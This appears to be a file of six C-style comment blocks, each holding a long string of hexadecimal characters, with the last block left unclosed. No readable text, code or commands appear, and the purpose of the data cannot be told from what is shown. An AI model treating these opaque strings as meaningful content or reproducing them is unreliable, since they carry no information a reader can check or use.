/*1df7b10e82839d369f453329166b23463a3c174c855cd80d5b51c2bb3c664c2f89fc03f8e525b5afbd1d494f8e069e120a794945f96b50da8a0c5ee33e52f32012cb4762efd33544724abec8065c81188b323e8382bddd308d953db774c334e768743b0d603f032b7e84c825aba0a0f651ee20807ba4fca9d54ff1cc8b792f25c1328c938a780452daf9c17c607e5e6efb0a3916af9351e1dfedca470ef22d66ea0be36f0f9e8cc8d707aa2777acd4b5a63c27eecf95da2a807d2ee41544eb17ca3d69def14ad32f8e36f44108dac865908e51ade551a15a2ad1ed1d05805d893a0818a0601daf0ccaef81435c8efb987c23592d543147b979126380f961b39751a8c9e4f8273b1bf226e405c82925001bcd47a25d6ed04a74d83b96e6b53963895513c81714e3f309d844e6623857c808377396f1d012624f5fad6aaa925225fee64e1b2f6b1804be8736b821e843b433be8d6396e6a2cdb694085b84a27fda3c1de00b39242bb694e06b10a7e981c410753a2b7a28b19caf04d47f5df3b90baffd85cb9fec9a5f53bf327fef69afde1807650cd42a446c1e37ce3e047f9a78771b29e53e62b38144eec2d6fc3b98858be33899028a944e0189f466067ebba3a9cca5fbc419239af78793ed3ce58d718cc2db7bff27b3e09c58bb2562539db563d29149aaf5ce185b1767b9dc7432c8fc4e784a7d8f81b0e6fbca82981334d4eb43979a98c284ebafaaf6a8a732aa0e976cb09f40d3ca0ed51631e2078216702f1f9dc729b5c3f5552cb8fff74f8deb34da063b4c247ce3cbcf54ab1981040b824d999f716cb1ae047e026d258520c02c92c937fa524ec47ec653bf4094ad34a9e0a139a0cece7e5cbae32444def513af12e265cc26a7620bbcada02392c30ad01f30fc81d297f3f7dbe03754a5a47b2690ff88c83f45e832ee741e0f89e83e468ed8879ffeac3b0fe2160f427dd7ddf03f1b75b8aaaedc065b83476df163d5e6eac1b5a4ca74e2d3c0988b1e0f8dc5ed4b807fee1272393bcad74a46fbf89817596af4bb6228920a3b02011fe5445e8ac38aeee3e3e2a6b21bbc12bae5689894bf8a281c96d752162b40409e22d46e5ebcb1c6d93d16fc23db2c8eedeaf18e4c156e01d546ccd70a25043492132096a32a68e542f279ec3e2865b42f644967bd1fedc1160651485899e6b516b7665c1fdeb32e921381ae3facb962c6e3011f07b2ad7b8d8d47ecd5d62f96d9251c398da86829576f2f2c330ddc0f25c438873dce22d4f39ba78884f89fdc6a7f850f2e67904b3205927a94fcaa3a7c066a1e879fbe8572c1cd7c477bb2ff28186dcc90ca2a6abd21d851483ab0bd7bb62220b705172a5769bca087d51b2ffef420690d63061de4551ad28fcc5b8ac57e9053d147151fa68b1f369ede5c7f2e83e07b9d035fd140f9598ac0b741d44d5e6a0deffcca5d13a4513e032969668492dca5946050920ec038d24d927b8a24ca913934a2aa6c005c9cb33a3305f6ddfbfd85ece243fc2e59b62e53e582a6c70be858e08f78716d0bfa9677d0b7b70ff1a722562b1f19864c3e8a331d13020b761c79ed0946d584e003b253f7f2a718a5dba1e9f0ea01acb07f15b24737b83600ab1316789abbeb79968a80e794cc8521bad6e99db9ab45769bdd9c4ee09aa6552f5ec91714b20e4ee1a8948df609573c4a9f2dc3914b952623b697af42d403dd922e0ba981a38bf40e4eb13091465cba56b727ab52274b5fcd4cc2ba53ce859aa7ee6bf1188b9dba7df1e35fd01765738cad442dc9530a2f87e3aef86ac4d482beac438c8a9a1282416bb2865f5fcec59485468a02bdabd991442d68102611b067fbee0fa2f39bb49ded724aee94ec388abccb42ef23ab5770712263d3d0ea50a43bd22d6958d5044a89e1c613cadb3a0b7f7cc3ead2eb7627ef3c2a13ecdedeae8620ad2d3198c28cff9b92cd4db14bb2cbf73858f42be6d92f4cb7257ea2edfc26df1dedaae2a72139ec060af1f0ddb10df172cec5e556b64eb54e859edf848396f924983e2344c505d11421b75f18f90422a27344eef573f968acb71a8d94ef0a2a4034538facbdf25d395c52ea246d8b5423d0da6e690bbf94c37e35deae40568dd6df4ee84291c5621e63a4eb43fafb73cbe68d83b9612ca938c9c96e8703d1225f96ec810edd243ee69d0847d6fb06c994132b7fcf9022919222a3d1b946c0409aaf59747fd933013461d9d3d1a99fdbd9a9277cc8f336b0471000c2cd92004485890e35d0a0ad5365bd7583f73dbb243ab7fa0c2c7119457edc01ab365692bd32a59b00dab59993fbf1b807065c9f286dc72c3e969eb5e4ce1721cd65cfd61d241f597a343e9796d5112e2bb6da1f486d68baab8473c7f7571d5a22ce22f10d5490f15062b2025684ca7a42f259cd9bd6ebe75de1c53be61ee3d7b9a991c94681030de76346c61fe396cc59cfd300d3112abb3a389877580dd11000ffd4b54cf3fea7c7bbcda99f3044f0dd6b7076dd7f043cf3a38c5331ef047b643deff837dc2314d4a66b5401aee6fd817d97371ad54c28b2c0d90ec1457d1241fe0bdbd72df8ee0db26a4b7a50e1dd75ab6d95b8fe3bca2922f74addd9dc95222c8a06b6581f478c99d7aad8e4d99afd8551aa8adbe441d6927bc8263b00e0e3ab6c656fde4d6b27518ad6b87c39c424a3dbb8534ccf68d26a023bfd786469cba31d46d8bacd0e4b639de597c3ce6cb3890c222cb086a5f826fefbc138bad20212d7c54d54d6f92bcf8652509f2b0c0b8080e74836c3ff64e34dcbe6f737367282d6c123c8ddd7a890a33889e28fd9dabb6ec4*/
/*4d0ef378b6d3238c808e6733e385609d62b213d30851cbcfe8dd9f781dbcd00942dfd169336bcf284fccc62924dfb245fbcad46ff7478cabf083fb981b2983cea1bf60bdf2df466a955806c88c2f9a79db7967de5aa8f83874dbcf1e1c24664a5c7255ed07a35d930ccdbc9593de9bf1f865f88ca94cbcc84ce69f19b988838d41e1827e66bea2a1e0000d76a68f492d4c96a3688b5d50d69561a20f4aad30badead820d5ad5b5287dd2405f2222e62055811af0dfe8ca84f307d1a905328c9729f7d3d8c5f49b305c649d21cec4419755e9639bed87cc79e229dca7d79beb47a8c8cb53cf38b922e03d79238d4a0e2a9e4cc42d7fc27335531879d6ae05d01f1be5b650222928842f5bab7400ba1a244bffa63671df689655e8e5ab601883f0853f3d6467a62826c9b0427542ce4e7a7d06aa178ee9f80557a3ed91b241404713f7559cc4afc1789d78597aaf34d2f318c567310eec3291c554ff50d83ed48fe7ae76e820a288108d1a85514253c9406befa36bd2f64212e1f976bfc93518e9aca1acefc10c98e4db2220a7c4a51ff4dd6d40f39ea79dc5a43f84c89832460e65ee63576790e405c9c2fdba57490878433adaae7f1974c2bfac274b026de31c032c6b8204502387cd0e4bdb2411b21992e1dd6d76977906a6514837ab5dc4cc018415477a077fcd005c2f96cebd402287f73b399316d268d66b30fd355190a120012a8db054ad895cb9e67aecca1bca99cc5336dd4932edd4813de49e6cc90e664e5be8e839d6fcc98749e0abac5999577193f20dde3671354e38928b29ecb544fc1f6a73704155da7e48ddda8ecb7e1d3dc570becbbe33d878d3d46bd4fb0643d1142a4c15c93522e970a7040a508f5671bb405c0b2fc86214e3648fcfd56bd4a56f43d0209dc03912a12644368b24d11d95346acc6ab05d3a3434bba381141b27e83d57103c9a2c33946ec42c28cdf96d92b5317219588d468bac05e27f356c33461c16dfa3bf26480f0fd1799192c00c908f135dbf0a480af7cd7d7b6a368f57b475505fe773e303f36203adbbd7ce92824a8245c6b3198b1500370351cc5beed388a7c0624302030e21ae2e560221be0e59f808ad65971ead648d22360fcd4a3520eeaae80418ead9c457cc4d2648790ce7226d102afcde79db6a94e779e8a47cd2b341e68c9ed011d6ad8c2e87c1e7df1376eff789e856f41d49918902cf9e86f9ad4842cc2559695e528c50a404cfcc01d57a62c7e2b0cb1a724381ded52e188148844395b4de3577ac45ff12dc61ed81773da23518791ba703e481f46e57a7ea1bc37d675b7613e574d1846cf74c34b694e13217fba879885a6c02f04a3a628c6fae416e16b61459bfcf84f450786846331cbfdfe362afa6a6f211cb4e1c60d063323ead834517143e88fd95034c000365dc7d52568d6ab1a5999dc5bee6700d711cf35a4b1facddb71af5b09cbafa1c5a3d352e926eae50c4085c55d8fee20f18fb34fae87647a14f64818065cc5a98ba0439c4a033fdc49f49eb011daea55292813302cfd62857f4ab1381cf9ef764e9892c57034f37045caf13efe9347c4adb07fddc9c22ac84205130b46ee816c8e3b0605601fce9a54982cb8f50c789fc824d3d2cb4038ab6ebb3baddb7184a460d5b65d6415cef46443bd255fb9b5bb3b34a364be90c1cfaaad245c38e9cbda40cc10dc64691073360eb71de6fbfafceaff9c44671d7d3e1d9604b8d00ce192ed62343c8a1cd97494587bc9a2153310a44441712e0e6092b1425159777fd47f3a6453aafcf4bb7e326ffbb27fa9512e3ca8573ae18329e28385a5d015319a8f79660c7efbab2bc687dc20567a0230cc59599da384ed59f1c6f5faeb04ee6978ab47d036e6309a6052da7d93e03bbd257030f5c6c3a69f531e0a16b2e690468d22e4140cc236d502053b4fc386d05ac25ce92d8c7b2b0f2dd6b1d7132bad291a0ab4473631dbe1dfd137ed52431968e7e0236212160534c8f8675b2b4b2895be0f4826b0d5102766f9b67e78487b03931f4412747d0c07fce1f0cd37adc298688381d6fa42b942cb364d45737e9bb15e95db3e7aa6c8586c30fc884ca49936d72325f7a521f5b7b4279e743794b525c277dbe4419af5ca9b930b25658dcb6b91acf5ca76acb6b0d5b8a378326e1e77337a2fb0092627a1eca400a0201ad7237e14d7db9945878051e49e28e412313f9a6cea8038b3b3cf7d1d3eeb258fa1cd1283800c4549adff1c94f232caef2485e05192486b22580ccf0b483eebc5de29aa2d229e4ca14f4878e82d645aa875b22ca14fa0f671d079a6158801e80bfeb77c6d2ef895fde7332421274addf07fdc94d9590428767d615aef7028e1f9946bc0bc3bf489f8b4d155aea3ad4560c21903269a2369bde577405efec8f11167858fe9eaa73a5f63bcb4d2c32baa14ebb4b9f550ad1da2f045f3aaaec2c442edb27656a505c4daa374c5bdd801623308ac3f1f5805d0c9815f835aabcd0ac8d862d66edf30a7b50a9cb3b43b4fc761769087658ae2588a5ef76466b36bfb5bcdb4957966555b385a9234c9b775ccdd1cd4dcdd76b9ff9aba0967317f3f9918b7f59c8130aa4f1b2bf8055343272080383274760054031368681f26b1d6df0ae888bde54b50295da1c6a2d75e6b29ddf0dcc3be3adadf3729df224a2b1a9cae262300840231435bb2450637ff3c9a0ff8a015560b4cf5f7f9f3095281bd66498caa0c9811f462ed1eda49364133d2abec65edaec5d48920e85e515fc7856441e9e08077555c82a6dc418afe4164f55c656bf033dc29c0c1c4138618dbf26a0*/
/*4865a1ce54453799d9209339c30f532958b15ace4222972158e4baa141ebcde351da373bdff11e422586abb9b1fd9baccb2bd2fdb4ff77ba7e38dab12a4de98fae3e4e388553e77a29af4a4244709190a019ad351f2769c34722b56f4a5b26ece990420ab938b961a7786e6869440d8b47cbcfba3a7f86a8dbdd978b17b4a385f2b94d1d127fe450f71393b33e17d798de1e344f4d4f3cb5e364656f4a88dd8e8f908800e50c5a7f81b6f576c51fc245d0de6d7079ede27ba7b4b35d6296ce31ed8f0fdde67822ad8457b42cc88b6f2998151b648be4ba311fa0ba1dec50b8e7a63255b171b1a8185e8555cce91b182e9d5076ae074715cd3642e29227e42ba28b918c9f8db5af166bf8a623dc87e852e2f5d8342674f736704b63a14a2795d79a6bc562d172581f94554f066aafe9416afca64970add71240a246e86e903af371208ab7e03acffeaeec0d780ee2e2ce510b7c08475d122f4d8d9c7edbdb444d947e8240ff217c69029b979640119cafc96d3900bc202f6f0c9afb72257b7ecc93bc08019aba439e33b61a3dfc96ac7e213576ac865d059fd828ca4998a402d8e5c006bd866c977ad9ef4656f6728ab4a123b33739a0a86b52fc3a34b3a0d25699e53963fd936a9259d96c30e2c9cd31a60522041682e58bb2f044aedf154fdf00a0206b4949a173a64c61c77ea2a606d9c4cf8ac40799acd9de9a1cf80e241fc02e89b61dc323579635c2820b3ef051b79e46753595a494e1a8270daf7bb5d5143493132f7bde00feead663776b2e5f0cb9601976814c5f25df50884189896aec4866fe61c12e2728ae19964e02f582fb2ca6eb54bd04f78a1bda66bb6a16351f9ea4b15dcbb2c8610573c5d8eadc001000cd0c10a32e1a25331a14380607c9b3e505e7348555ed2832768333d3af592175844486e5e6f28823e118eb4a945442b4e9d53e722452aa2e94c88d44c4416d7dafab78093ff9c5930bf1391994a2e78a1b92503fd0cec8a018269d11a55a1b8ed4cae5169aa8612de8a2c0cabbd7465e4872891e832968cab7a0ba68b97678efca21d74fdf88704ead3035a309de50b1e8203976c7bff9aff50d3629265504dc811d16024354a8c99d4092880ebd7de39a27e0ed4acd26c575c373e1d5dec260e54d39b267ee1270345ba3440e9b7b5b6a91f7553afb29b3e6566602b9a57c86bba856a7239e472c870253d4de554fbaa56c02636f0f0f495104584f83aefbcf43af70729646a21d7456f2efa4699b6b525869f9edac496fa278bf1145a6b69e3d862c35cbfee77a7f694d756ff587b9ac048bd586a5eae8fac62bba7be4a015dbbe19e1406f222757c14b1d5a7c19f3b830efd52330ed513494a1d32958ed50a9185da77a8d23355f14d8736e5e1a610edf57aef50a75df561e7de392e67e1b254de34e30ef77799f0e9d697257580f741e0e2ed69253ffa3a8a7cdb12065665ba72e5ce7532d02f41c534de9a7b65999c37289fd5abcd379772906b85db1287799332f8b39b5b544c96fe0ec8ed62bef967e7ed30096d2aee27ce37b221bea82560cb7238bf4f7da8d99ea2696f9edc424c6e2f28e46127753c2cc99361bb9b640deef05be3606c9d92f276f61c1bad5c0ef91fbfd91b084e40d87ca22aac997e08e74c307e9f5163a88d51a8f4e2d5ecaab8ce5e2ad5ab054168d80980c23ec8b5c2c23122b7ecb8827b79fa68bab6d1f64c1e373c9043cd34b49dc098852c77916133b63fae81423652e623b5ebfd401e8eea1909c5134e316824b628d3b7b0651fb0b536a0f2fdd9d8b32d28cdbefa817ad87ebbe9086c75627493013d9b89a4afbaf047b19ed205b293ff3f5b3c7335ab994abfff8bebb769ca8cf4ea4679a349bb0bf89c33eb057a632110be565fb0060d3dabe502d5975eca18134d907b0f3f35f2426cca3dbda4c6bd1848d9facc77157f65e74df89ea9bb5f1c64d0c389d729b1b02386e695aef15f2b79bab7b4d8719040f400dfcd2190f6564b6a5e6e678721aeb2393ffad883e845fc2c9d025267576b53c0111ddd5f99ad87eeb3883a0b6735966303cf5d6572dc01d55369a06fd050a80d623f04ed2fcd0bf9b97d82c30b9a8c44db6270c7d8d349f760591f38e71c95365c0d7a236e045cc68204f197a36de5d64a9dee8f3103251d99efd79ff809fc60278e90fa19612cefb806b62db4f26e46d2cdb14898c466f16be5025c6be16403c14dd38c16fa43369ac51bfe95307d57dda6c58932aa7a6a43d465d049cceb3e4428eb5a56174939352c7f0dbeb3a32c70feca895658cd8d92312d65902860a9faebbb89af2a79089fa657448ceb9d4c1cd0462f28e660e04f59bc82d5eeb55c18a9cf02d037b13617ce5ba3abf47015d4c54be1af59db21ba91d7fb2de93fec008964ba706528e97a61c0d05b3806f35f503f244022d4fb86d3778f1249e5bf58150bdaa48186e90d57a9c11af3dafacde6688f94b14aa736f90056f6c028df0c9c7b4f53d2e7dbd43f17648ffcbb065f2caeaef5b4093a3e344da8b3dbf697add6ef33b85868a0bfda57885423a4313cdb09a0340534fe803b4e29bf19c224386a7f03103ec59552c6d334288f37b1f593c212b3da2fcf0d43b8af2cc3a581b891f578d1ddcbf2d6c2a9c499ce9b2ff9c250e714b235a2cce8153c367bd01b3c6cc34be91fd7db6fbfc35351ea5c0607b6c295f71857aac326511ade77e6b5f298b29683899c00a48ae8204454bb00cd19e6fbacbf8666bfa99214769b5520af566530a338df7d9d3753c57c34220b03b600b29d8b41afb1f3a9f3d240b93f91a688d881a*/
/*9f78078f198540222d01953db8784fbe915840fd29f86de4d0be448b82bc8cec7553080340170e4a14035db235ee8cf72408df8a9b8d37cb2f38c4ea8849a73cd1874fc20892199d76ca847cd47f392535a89e672c76b8749c389ed475e2ddf9df515cbebaf73ee88e5c8d5cb434bfcd2ce4b9b2c07ee6fc75ddeccde89e078fc9b6783547b456dde848dac1453d1dbb0376aa83be78b59f14b7e8613c4c13a81707f40c3be6d086bb88acf55a69ad41d6d321dc729295cff2ae950d4592b588d752dff8122d1bff95ae9d5786128ca60ddc824e6df967838e15a54c37e5f98aff2cfcbe197a1a007870c2c19697e032cfd4f849f5afac6dd9fc0f8f2543d197774e7904a822534df9ed941ace3bb815ca40c418ca40be38c21259def68c624716194a55b4aba609ce13dde46b252d08691defb94e81cc21383c9eeab41bc457f0b276a1b014256f744c6680cd0159895b1013dced17ec442e9bdea8ef754ce25220053aa9a562ad64a66011d6a638a5c69ecca2a405e168590ef377b4b5dbbf1c4d539f0bb2f65c5c6cd1eb9298c7229a5d4f555457ce7f1ef7bc6641629abd10abe6afc7083d5a67c7d3d7dccfa5beef1aa345bedc31cd1ea0145d3334169230ffdfff96c236ff27053192f9a43c01db38d9c5c7b5e9125a215a889c6261510ea8ccda369f125da4cbcdddecc127794883b197b8b20efe52c83d21963bdb1331f65c9fe1fe59f00e466371611d87d71da14985af9314f85836de7857210cd204e62e3659e486ec6c3130da25bcd6022cb5585167f082747ffbd6349e0917812711c9ec3a9c437345a76855ba0deab5a1f1457f26cc619502c2e492e2e315ad5b624e6659041201dff39984812e103a6d3a44d11c0a3767f63ea43a91dcdb4c9a579b4d2f0e78e11983b15333e70b9c4eb9b7aedecbb28b3b60c5db1b7b22bd70fb6b85ffeea07a3dd73ca9b2a2a1a65c0de4417924188e5b1a219b3a6df8350c5628613722e45626bc420a5cdf91a458f473811e54a761ec9e2d96fc83dedf77c9ed5cf737a596c2f69a0c36e39c47f7356697cb005e2602eb43c113d6b92318a3a170957d0a0ffb314cf76c257149ba9342cf173a3eadc25c3f74a50d89d52b96e8f30fa5ee3f3cb9424e17d30e1d93c776f668407a0702c9c7d0781d2fbc2b3b261248da88c4c7598e50df5579d70c82ee11d2ebdb0046885d69b92e4402f7c33d943716f261c769ceda7955a914a37377fe3bf16112fd01582ea0b27fdb8b1877fce7f560463fdcccc96b2c2fb18d9cc8d25d03f91186e275d75f72a0d1df04d2be82a7642102570c1a69fa8592937b9a14bf3a0f3ea19db65fbe61dbd8784d0589029b902c63218232ddd282ff73bf40bc2fa4c67fa8eafd351a337a5fe9343aff6a187e0fa520694431d6338e11738d8d6c17201634174eafe7c64da91ea1acf26c2d10be0ffb443ef71f39c074aca11fb19ccc3aadad1d59e447152f405546a2fe5ebd055e8c08f04304276d17d7178c31c4cc39fff01ef92bf8091375b7b2513095c4be2761102fbc5c3e95c90e17beb6e7aa5629f9d3555705f92bbd4113e3cfc927a70f29d88ff02d841a8488f2108ca62300ec70fc09860664cfbdb2bfacbb57dd89b814d5e4aee713f9c020c394b77a9c35090b08c65e13e74a5c9364064c4015ad1c894bfe948f51aceaa0dcf89bc715e37621fe66853bfa28b8150919dc292378581230719f7f95c771d1c3471d0e01c955c8a46189f33eb26af1bbff691581f0cf9667ad426f23ea2781ba8553b5e0104d9a10eec65b220c6fd8a78b7258d532d1a99c7655865d92969da203330b78588a22c9456edf5696d862e69a13d5a3a5a38e8952de6a74a5c139f5f6413416cc45fe618aff9b4e3072f407f6335c866e0cae268ddf86684c4137a6f2e7a20a3e95a62f54d932cca0da47efd72c671544cf40dfdd51b5eb3acb58ba3bdc4166b00e637f60ecec1c6e0b191ba58487614e2f6c35288819aafa2aa742f9e55c0a5b6e95c82c01e18edf39aca01cc4ff3ab2055dc8b59e68ba958d2077e6d49364356239cf7cab446c758877808c82e2544384f6d26f0c752ace0667b174840f0501e4658d0a1f1b79f19e4d32d8bc1b4c2361695446e951b0441b66d3e56d9c60ad64415d9e32eb2a8ffdb8d3d5cea41d76741ca65f9915742ba9a6e2eb21fa242da5d08971b2c6897af9ab8211523137c06d28173e734aefe80d1bfeb5eacf0edaac25de585b756e86199596c1dee316e7fb7376b0b6c8cf055440bc046ee83728605e57e6fc65a37094ac8ebfd57df67df8e0d33daede5586ec8fdba62600008b4973e3cd874b58da24d4361833c69103f3438ca35163bff4984ffc15928b2eeed1bc8ef7e4f1785fe25d7d39b19c44deb89c986e855a7dc84f9aefbf71fb7c23708e0a24e367e98972927926032c5c8966d2a3aa3be02faabec9400802214c9d3abc4de5ef758630ee7808e70b489b07d16006e34dfe6324241dfddc9f5c4805e13961f9c005d16662c12783f0463420bcd2268f58eabbcdcf42233b7ac93c01938d17d145535678439f5d9b0257386f2f7092ad152e5619945dd95dcec678c574aad2cca0d8a202800a59432af53fc7030183ebef0c101500126a1ec81a6541c4412fcc111cec417178eabc1bdbc771138b5c105dd86c0977406f6b3848d00d73eb644e08e875da50ada31113a92561c8d3230cb3355eeba4c3d7531c48bce4806c234660fcdb13438ec85bfa75a8a3c85862ba1c06facf0ff8be4c5c85997f77ca43fe5685d099cb6d3d01f6f0a31a15fa1713bae40418*/
/*bbec7b252f1a0b408eec9b23d71d01af28ec3a6de69bb1a139dc0c85ca84450e2d35541a4c8934e9f6153e447e51dc5d7819380ce24a9f61de16e684f8fc1799de8e670959b5aaba7e73b7659b769b8ee51b02167652c9f67313c00a3fd32584a8b9f3e231a60fb20d3ad6cbba833bf05b7233b7451e12c971aabf55e370aec0d1b887f4ffc8b8d522765fe85b1b1235be447e379633440e1f5c63b7345f57c13bd0f697bde973e5c19f47e3eb3144da73ed01a8c9d0617fd3a71f7d961e1433353bb48b9df19c5e803f83cb6ceae780968017bc42acc2f0c10e3d6b3fcc22b78383acf4bc274bc4fb6f5889847f142787a2968e15b7601c66412142e85ac4dd53cd2bd72e4312e2f22764b81543ca458eb2536898550af1410cece71dd40935544d55d8eef9a7ea5f6166ec3a8a9aa7a05696e6fb49b25bcf4c3e7e2a49d8bd79fc2d9d80a7b85d037f4c03d52a378b02eb05037d8b0d8529c8afdcd1d6547f455474561c8ecbcc622ef2f46cfcb7e22ecf3e9d5938eecc8744e817d14bdfd08d3afd9aa76b584703e8f7c27703d0b9979a47057d4727e4644989814795bf66fbce877e75ba8d30768dbda76375572af212c2e1de8f80f20e8a73505bbd9fce3c3ea8926205fdc3a1ad5667095a4cbb51d073d1a3a12a3a720115fdb77a4341e75b14411062d44e99ea1d56753faae9434c4b3b7411aedc3e3a938549058eec9aaf0d4420fa4efd95623b11d04d3d4b41858341715396f8ada967cb9150b0e809a573fd29131edec0fc93cc0208fb12ebcc85b9cce617c74dfd849b3e2d97595aa487edffca8d90910f12dcb4392e53a4c466ee3e6e06287787bb1ad9b8de11a6a2b07adae627ec55dbcf9340bd6d5ede97a5bf01b6f4c8ec9c4e6eebe0ffd37c72662d086f2b2c0a05b6d86ad475b0e6bd28be70cb1e6c6acccd0759cb58bd1cbadff6f6a222fe13067c52bb36e810b92541d4da42792325356bbb6b9b78945e332921e339fbaf454cdb7f31e5739afe9c41ad3957af86ec2468f2632907700ef625ab9c0f788bdf336c62a2df17be7fe36192d0a925da0370aae2653161166f050cd6f7c0ada34acc975de155c98483e10d1db26144901fa42be57ed3bfac0aeb4f25a93a822131cbf036aa87107ad938a9b923fbc098ee7a6e18f799ab9eba0fbf5c912752f055fbd4403b4448630501984cf7a1fdf774b96cfafa48eca09fef8b17ee25dcbdef0f2486391917e56e9ce08284ff5ad0729a46b1c32385d3c177b2b8180ef46be4cd134c8842b4a117d2f93a65d14c9019043cf071cf0890d040936178511a949b65da250205a9ab31dea6100e31a5cec3d496c8c0c0c51c8341c9db8b0df03d27b616a783c33f9c07a612be3355b0df6490e0ef9d6a6167a9b1399f288fe0f3cb8659f17924a77c810cfa62b4de4d62e31f09ed0f94d6a7c6897e2bb2462580ee7cd87a2104bc263379046188af7176b1e73cd7a2e444c01d2dfe23a4155cdfc50be92515ff53b9ea4e2fa680c7261aeb23519b3b90eed56c2157c58279e42fc635c35492a9a3902aa72bd456ffeebf10205eff5ed821a88a89f4b7b13a8a47846e0d30a39a90587f390de03df00c8a68eebb4e3c2d3046452011e95308c07db7dc968bc95e23fd5def180f548918309569fb88235091b604a98765e1b475340e296f6c27718b499bb77f1f0cbe398aa55f09e327582312dfd79de66ba104801602251b882d8aefbfbeb5589c49f7fda1994c5546ddbf1acc249d54e7213af5c0b28680aa0d93ca1a787d722f9d32879eb5a0636f042c2149bdb87e9c891b8792974f8963d73e86a9a5e799c37b90f837ccaec19550df36dd2bb78223a43a9c3dfcfbf169fab3db838bcb021631ffb01d5d9be928a50b605ff11993de6bd1356d54b76a1a071610f2ae32eace66caa47392b548f03ab2c8776f1b58aa9d52f2e2be88a3e34bb7d1d76959132eaac9a5cf8db17a0f7a2c246af3bdcb06223ba77af59766e9c7052e6e571afe0d78eee649d8f3dfb427eb483bed345deb6e5d967958a3ab1a54ad937bf0d1914b73a390cabbc2b7a6da69065430ef3753e3e9487480894457ff4765f59f6491132e28f20abd171c06b4efb32bc853cd549b1d76676fb7eb57f35f4545f371021befd0b943b4341598246dabc2c15d2f672e95d9a88474329945b4985e0b3703461ed9f7b7fa659f15768481f607de5702a8b43daed8a0ff21aab3ef39fa7bf647592a24214e4affe95dac06fa6dbc4e76b37698defd8fae515c7f510a42e7e3cafb87765faf7232ebd78c5a6663bb6e22e6b6f29e74e8f517b25ae9f614aff1b94b481ae6db071ee3f9f1b1c8ed18463c66f48960c11bd98e017b9b9800da4abf993f9f9f91084ed1a42c98ce6347a183ba5275b2fb1bd927c489528a9e2fa8f927a91260275983c7d1d53f51ddf59c177d810b29c075214fcd4173053e49ca043747b9fcc7a69669807400be4bad23ed90efbe7ff4e7f47ddf28842ebe0fe4bf925c257e11872b70f0e57e0b8612d5b2732fd88f8d9173911388c34fdd9d0a5bb8adfe34d26b76c554127585f6fe193d41f37baf8e013905b31e041ff18aa6fa9d5755dded6fa89b9be0c1c8c8f13e6a0bb38f061d561e5e009eb15883ab63e16664edf175adee80c7530f68b485c49814eeef30bcbe16c40c66c04c8680c29c9f1980fca3fa9eed14d45ad576bc29352c3daa47e0266cec0138b0370ea29591ce1bd435eeabc23d0fa2deaae8e4373174bc2768bf00b53ecb13bb0d3bc161d979c61bae2f86a626cd67d83863cd68c6d4e403737b0087b417e527*/
/*74cbe4436bb0dfe053eebecc0420be1e8280c488dd36bc25cf495fa72f82dd124fb5a06b5dbe0961805dddf17b2102bcd8c80fe629fb6b69130eed795e279512b3b62b7f77aa7b7bb4a9ee64be72d17087f2ffd3922684357d849e4f790fce9e36fde48ef208c2220920c3c4e3cbf64c92206eae34fe25c48ba1eb53c0dc9218c92d45c578e3985104842815aeffc2f1d68ebe20fac8c9760aaf3f919f993b3a16bbfd9c0278df844b6c46c35bad6edef0a689a3bc81f0bd779c2723f300b59dc887723600bbeb14a8fc04a82788674f519cfdb03e9e59e24313b439ac43c2be2f3eb73ce0168c8051aa4dcc640d17664deb4b16ae0966d878fb16c889512b1ce89ddbe6c712b1c48801aa65f12a518cb13ebbb187f8c0f4356c945cfc62b9ea1e5ff02e80518c7cfb1cd3d5c35ae7abaeef8a3bcaedf1a56b325bec8e840a91fe43bb0dcb346a2458e72a0f280c67e6b323397f466bc9d546348708c7a14ccf40e4eaee98ee0b249ba2ad6fa0a9442d2c9abc85f45d52db5ea695959df13e87138115c6185f913fbe39c1ffc5ad31660136a9c3d85d85b6e131c8716bda28d911a02dd5e094e0fb2d4ddaeb112ca8918c3a9d3cbec60bb8da6d4464b41ed59d9ffe6c0da11ac0d6592d1ebe9787af14cd6b943a23684d2f3ee35f62fffd69677a9b2a02d7a3588f0e7c181cb8aca09316f027ce1f8db9a58bb2a92fb6cf6e6177d38fa1f770d7778274d8476612105c6f9c8cfbaa5d0f3af1d885ee4a5c0b5bdacddfe53d6261d1af4771f0deb7a073cc6fa552cd94b4b39d3012cfed41a41f9eebea52de298d27aac6c2a4ac9ebb4775aa1d846ba8ef87a65e02eab86484c14a5c44dffc067308395d6617e406261bd3f8b937708920c7da9a7994b646b16ae073dcaa8e6b478a579cac8e51c30b78c7daacef274502e75de1eb0ab786188938c2886c51f47b2ea0281d1ae27ad188ca1d0b837894998cefa0642cd83882c362b6cac95aa2f1fe67ae23b2ab75e26237a387c014adbffcd169aa46914324d3f227321896f1edc26c7b0c62e0ea18f740d141d7ffd0c49ad031d516defa94724037eb866b43bfcfe75661347ea396c85f623a2486877abf93585fde2c6540e55b1cc6e2aba6cd5ea622ad6021332602d37c941e5d4f471b50212dcabd011e08fad44318e3b37c8dd5a4d0e4378829b10218c7a36cfe44c1c0eb66bb19bb8fb76bda922acb33fa47000e99a7a3dbe6c9f7b06fb5402e41c5e81f524a480e06028084907f2ab755d30a0ddd358d6aea8b3ab7e57166304922d21bdd0035c1f4a87ee18a381bb401a92717c72982700800f539fe3b7f310cd7bde564a2542191e76b1f824c8c765f079f585b77461028cf238c1954e985fad918bf20d46909114d3e68f1262b40a0b43fc4a55ff7d5402e03e290c5edf1db0aa0ebdf660d47690238d6e61a14c20d1f440cf6d3d07cc110f8adc9d18bca8b9a954b2c9a5e53215a8af94c46d6c7dc23f4d02ff066b2d94f429f2782f54e9d1c058e226cb7fa85484973eb0ff8f0e30a1492971aeb1c6dd8318c190ca857f7703e752d96a929a1cbe2d217f7d97a0d32669f501c9bebe30298549242697f1f386b8633717b2ce3add5cb8d7debe274482c40406761b52acb7343ac41e7b45cd2258868705a347cf736e0f9f7b9e2f109ffa258cabf86e85209976a9fa508e846a627fe9112fd5a90fd0e01a5397ae1d02fe23962898f94a9b8deab41cb30e455291af95a6c0d35ab4bb7e10cd9577a0b760229039026ac9c30d816a8049e90e45b365ac35f76afd474457a6799e627616c8ba690e5ab3469b756a9466fc08262bf0670c47eb794948d3a5598373ec920dbe6ba8b2617874d014e4d04c18246e229bec62d855d69360042668779593f47351b1e542f9ec2b6e7451a2c705b5bff9840820ef65faa41ae51444e8d71928e938ecdb4eb15124faf23fc3ee19da23cfa66cb9479168fc89ac688dfaaa453e50df2d5d21b6f2960ad6bf5012baa0393cfcae44e419eb59010d87e94c18d64ba838f9da5c89e730f166d4abc1e694dc8bc2d86bbf13a93dc098c2b14a1bd8f5a052c0847fb727ea5b2e6c77f3635a205cfbcf65024b4895d4401beed67111c